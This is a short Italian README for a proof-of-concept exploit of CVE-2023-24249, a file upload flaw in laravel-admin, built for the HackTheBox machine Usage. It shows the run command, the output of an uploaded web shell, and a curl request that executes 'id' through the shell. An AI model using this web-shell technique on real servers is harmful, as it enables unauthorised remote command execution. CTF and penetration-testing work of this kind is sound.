
Proof-of-concept exploit per CVE-2023-24249, una vulnerabilità di upload arbitrario di file in laravel-admin, che consente il deployment di web shell per test di penetrazione e sfide CTF.
CVE-2023-24249 è una vulnerabilità di caricamento arbitrario di file in laravel-admin v1.8.19. Questa proof of concept sfrutta la vulnerabilità per caricare una web shell.
L'exploit è stato scritto per essere usato contro la macchina facile di HackTheBox Usage.
python3 CVE-2023-24249.py
[+] Web shell uploaded to http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php
curl http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php?c=id
uid=1000(dash) gid=1000(dash) groups=1000(dash)